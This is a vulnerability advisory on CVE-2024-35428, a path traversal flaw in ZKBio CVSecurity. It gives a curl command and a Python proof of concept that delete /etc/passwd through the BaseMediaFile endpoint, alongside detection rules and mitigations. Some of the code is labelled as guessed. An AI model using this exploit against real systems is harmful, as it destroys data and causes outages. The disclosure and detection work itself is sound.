CVE-2024-35428

Executive Summary

CVE-2024-35428 is a directory traversal vulnerability in ZKTeco ZKBio CVSecurity version 6.1.1. An authenticated attacker can exploit the BaseMediaFile endpoint to delete arbitrary files on the server, leading to a Denial of Service (DoS) condition. The vulnerability is publicly known but currently unpatched, with no official fix from the vendor. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance for both Red and Blue teams.

CVSS Breakdown & Threat Level

While no official CVSS vector is assigned, based on the vulnerability characteristics:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – requires authentication.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – can delete critical files causing DoS.

Estimated CVSS Score: 6.5 (Medium)

Threat Level: Medium – requires authentication but can cause significant service disruption.

Deep Dive & Mechanics

The vulnerability resides in the BaseMediaFile functionality of ZKBio CVSecurity. The application fails to properly sanitize user-supplied file paths, allowing an attacker to traverse directories using ../ sequences. An authenticated user can send a crafted request to delete files outside the intended media directory.

Root Cause: The application does not validate or restrict the file path parameter in the BaseMediaFile endpoint, enabling path traversal.

Attack Flow:

1. Attacker authenticates to the ZKBio CVSecurity web interface.
2. Attacker sends a POST request to the vulnerable endpoint with a manipulated filePath parameter (e.g., ../../../../etc/passwd).
3. The server deletes the specified file, potentially causing a DoS if critical system files are removed.

Impact: Successful exploitation can delete configuration files, application binaries, or system files, rendering the service unavailable.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resembles:

# Vulnerable pseudo-code
def delete_media_file(file_path):
    full_path = os.path.join(MEDIA_DIR, file_path)
    os.remove(full_path)

A patched version would include path validation:

# Patched pseudo-code
def delete_media_file(file_path):
    safe_path = os.path.normpath(os.path.join(MEDIA_DIR, file_path))
    if not safe_path.startswith(MEDIA_DIR):
        raise PermissionError("Invalid path")
    os.remove(safe_path)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for ZKBio CVSecurity.
• Network access to the target server.

Exploit Steps:

1. Authenticate and obtain a session cookie.
2. Send a crafted request to delete a critical file:

curl -X POST "https://target/BaseMediaFile/delete" \
  -H "Cookie: session=valid_session_cookie" \
  -d "filePath=../../../../etc/passwd"

3. Verify deletion by attempting to access the service.

Proof of Concept (PoC):

import requests

target = "https://target"
session = requests.Session()
# Authenticate first
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Exploit directory traversal
payload = {"filePath": "../../../../etc/passwd"}
response = session.post(f"{target}/BaseMediaFile/delete", data=payload)
print(f"Status: {response.status_code}")

Blue Team

Detection:

• Monitor for unusual file deletion requests to /BaseMediaFile/delete.
• Alert on file paths containing ../ sequences.
• Track failed authentication attempts followed by file deletion requests.

Hunting:

• Search logs for filePath parameters with directory traversal patterns.
• Correlate file deletion events with user authentication logs.

Mitigation:

• Implement strict input validation on the filePath parameter.
• Use a whitelist of allowed file names or paths.
• Apply the principle of least privilege to the application user.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /BaseMediaFile/delete with filePath containing ../.
• Unusual file deletion activity from authenticated users.

File IOCs:

• Deletion of critical system files (e.g., /etc/passwd, /etc/shadow).
• Missing configuration files in the application directory.

Log IOCs:

• Log entries showing filePath with path traversal patterns.
• Repeated 200 OK responses to /BaseMediaFile/delete for non-media files.

Detection Engineering

YARA Rule

rule CVE_2024_35428_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts in ZKBio CVSecurity"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-35428"
    strings:
        $traversal = /\.\.\/|\.\.\\/
        $endpoint = "BaseMediaFile"
    condition:
        $endpoint and $traversal
}

Sigma Rule

title: CVE-2024-35428 Directory Traversal in ZKBio CVSecurity
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects directory traversal attempts via BaseMediaFile endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/BaseMediaFile/delete'
        cs-uri-query|contains: 'filePath='
    filter:
        cs-uri-query|contains: 'filePath=../../'
    condition: selection and filter
falsepositives:
    - Legitimate file management operations
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35428 Directory Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/BaseMediaFile/delete"; http_uri; content:"filePath"; http_client_body; pcre:"/\.\.\//"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the BaseMediaFile endpoint if not required.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Restrict file deletion permissions to only necessary directories.

Long-term Fix:

• Apply input validation and sanitization for all file path parameters.
• Use a secure file deletion API that prevents directory traversal.
• Monitor vendor updates for an official patch.

Workaround:

• Modify the application code to use a whitelist of allowed file names.
• Implement a chroot jail for the application process.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert